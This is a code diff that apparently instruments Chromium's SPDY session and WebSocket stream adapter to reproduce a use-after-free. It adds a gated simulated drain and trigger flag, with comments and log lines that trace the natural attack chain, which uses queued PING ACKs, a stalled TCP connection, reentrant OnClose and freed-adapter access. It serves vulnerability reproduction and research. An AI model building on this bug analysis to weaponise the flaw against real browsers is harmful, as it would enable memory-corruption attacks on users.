diff --git a/net/spdy/spdy_session.cc b/net/spdy/spdy_session.cc index 8be915620b48c..4c7bde718b9c4 100644 --- a/net/spdy/spdy_session.cc +++ b/net/spdy/spdy_session.cc @@ -4,6 +4,7 @@ #include "net/spdy/spdy_session.h" +#include #include #include #include @@ -3299,6 +3300,51 @@ void SpdySession::OnReadBufferConsumed( DCHECK_LE(consume_size, static_cast(std::numeric_limits::max())); + // ======================================================================== + // POC INJECTION: Simulate cap-exceeded drain. + // + // In the natural attack, this callback fires from inside + // SpdyReadQueue::Dequeue() -> circular_deque::pop_front() -> + // DestructRange() -> ~unique_ptr -> ~SpdyBuffer -> + // ConsumeHelper(DISCARD). With 10001 PING ACKs queued (TCP-stalled) and + // 5+ seconds elapsed since last_recv_window_update_, the natural call + // chain is: + // OnReadBufferConsumed -> IncreaseRecvWindowSize -> + // SendWindowUpdateFrame -> EnqueueSessionWrite -> + // (num_queued_capped_frames > 10000) -> DoDrainSession(ERR_CONN_CLOSED) + // + // We short-circuit to DoDrainSession directly. The stack at the time of + // DoDrainSession is identical from the perspective of the UAF: we are + // inside ~SpdyBuffer's ConsumeHelper, inside pop_front's DestructRange, + // and the WebSocketSpdyStreamAdapter's read_callback_ is still populated + // because the outer std::move(read_callback_).Run(...) at + // websocket_basic_stream_adapters.cc:169 has only evaluated the postfix + // expression (xvalue cast), not entered the .Run() body. + // + // Gate: DISCARD source (Dequeue's pop_front path, not Consume()), + // support_websocket_ (only our RFC8441 test server sets this), + // active stream exists (something for StartGoingAway to close), + // env var POC_WS_UAF (explicit opt-in). + // ======================================================================== + extern thread_local bool g_poc_in_ws_adapter_dequeue; // defined in adapter + static bool poc_fired = false; + if (!poc_fired && + g_poc_in_ws_adapter_dequeue && + consume_source == SpdyBuffer::DISCARD && + support_websocket_ && + !active_streams_.empty() && + getenv("POC_WS_UAF")) { + poc_fired = true; + LOG(ERROR) << "[POC] OnReadBufferConsumed(DISCARD) reached from inside " + << "pop_front() destructor chain. Simulating cap-exceeded " + << "drain. active_streams=" << active_streams_.size(); + DoDrainSession(ERR_CONNECTION_CLOSED, + "POC: simulated cap-exceeded drain from ConsumeHelper"); + LOG(ERROR) << "[POC] DoDrainSession returned. Unwinding to pop_front()..."; + return; + } + // ======================================================================== + IncreaseRecvWindowSize(static_cast(consume_size)); } diff --git a/net/websockets/websocket_basic_stream_adapters.cc b/net/websockets/websocket_basic_stream_adapters.cc index 8f3fb3e32b902..034a66f6cb88d 100644 --- a/net/websockets/websocket_basic_stream_adapters.cc +++ b/net/websockets/websocket_basic_stream_adapters.cc @@ -28,6 +28,15 @@ #include "net/websockets/websocket_quic_spdy_stream.h" namespace net { + +// POC: Thread-local marker set while WebSocketSpdyStreamAdapter is inside the +// CopySavedReadDataIntoBuffer() argument of std::move(read_callback_).Run(...) +// at OnDataReceived. Checked by SpdySession::OnReadBufferConsumed to ensure +// the simulated drain only fires when reached via the adapter's Dequeue -> +// pop_front -> ~SpdyBuffer -> ConsumeHelper(DISCARD) path, not via unrelated +// buffer discards (e.g. cancelled HTTP streams). +thread_local bool g_poc_in_ws_adapter_dequeue = false; + struct NetworkTrafficAnnotationTag; WebSocketClientSocketHandleAdapter::WebSocketClientSocketHandleAdapter( @@ -165,8 +174,21 @@ void WebSocketSpdyStreamAdapter::OnDataReceived( } read_data_.Enqueue(std::move(buffer)); - if (read_callback_) + if (read_callback_) { + // POC LOGGING: Track entry into the vulnerable nested call. + LOG(ERROR) << "[POC] OnDataReceived: read_callback_ set, this=" << this + << ". Entering std::move(read_callback_).Run(" + << "CopySavedReadDataIntoBuffer()). The argument is evaluated " + << "AFTER the postfix expression (C++17 [expr.call]/8) but " + << "BEFORE .Run() body executes. read_callback_.holder_ stays " + << "populated throughout the argument evaluation."; + g_poc_in_ws_adapter_dequeue = true; // POC: arm the trigger gate std::move(read_callback_).Run(CopySavedReadDataIntoBuffer()); + g_poc_in_ws_adapter_dequeue = false; + // POC: This line is unreachable if the UAF is triggered (ASAN aborts at + // pop_front:1003 begin_++ after adapter is freed inside the argument). + LOG(ERROR) << "[POC] OnDataReceived: .Run() returned (UAF NOT triggered)"; + } } void WebSocketSpdyStreamAdapter::OnDataSent() { @@ -192,11 +214,28 @@ void WebSocketSpdyStreamAdapter::OnClose(int status) { auto self = weak_factory_.GetWeakPtr(); if (read_callback_) { + // POC LOGGING: This is the reentrant double-consume of read_callback_. + // The outer std::move at line 169 was only an xvalue cast; the callback's + // holder_ is still populated here. read_data_ is NOT empty (begin_ has + // not yet been advanced by the outer pop_front), so the DCHECK below + // would fail in a debug build. + LOG(ERROR) << "[POC] OnClose: read_callback_ is non-null inside reentrant " + << "OnClose called from DoDrainSession. this=" << this + << " read_data_.IsEmpty()=" << read_data_.IsEmpty() + << " (should be false: begin_ not yet advanced). " + << "Running callback with status=" << status + << " -> will synchronously delete adapter via channel_.reset()"; DCHECK(read_data_.IsEmpty()); // Might destroy |this|. std::move(read_callback_).Run(status); - if (!self) + if (!self) { + LOG(ERROR) << "[POC] OnClose: !self after running read_callback_ -> " + << "adapter was destroyed. Returning. Next stop: unwinding " + << "through ConsumeHelper, ~SpdyBuffer, ~unique_ptr, " + << "DestructRange, then pop_front:1003 begin_++ on FREED " + << "memory."; return; + } } if (write_callback_) { // Might destroy |this|.